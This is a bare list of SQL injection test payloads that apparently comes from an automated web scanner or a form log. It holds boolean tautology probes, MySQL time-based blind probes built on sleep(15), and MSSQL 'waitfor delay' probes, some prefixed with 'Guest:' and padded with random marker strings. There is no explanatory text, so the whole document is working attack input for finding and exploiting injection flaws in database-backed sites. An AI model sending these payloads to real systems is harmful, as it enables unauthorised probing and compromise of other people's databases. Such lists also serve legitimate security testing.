-1' OR 5*5=25 or 'CqxfJ0f4'='

-1" OR 5*5=25 or "YpGlhpmn"="

if(now()=sysdate(),sleep(15),0)

Guest:0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:-1; waitfor delay '0:0:15' --

Guest:
555BUKDRLbY')); waitfor delay '0:0:15' -- 


Guest:-1); waitfor delay '0:0:15' --

Guest:-1 waitfor delay '0:0:15' --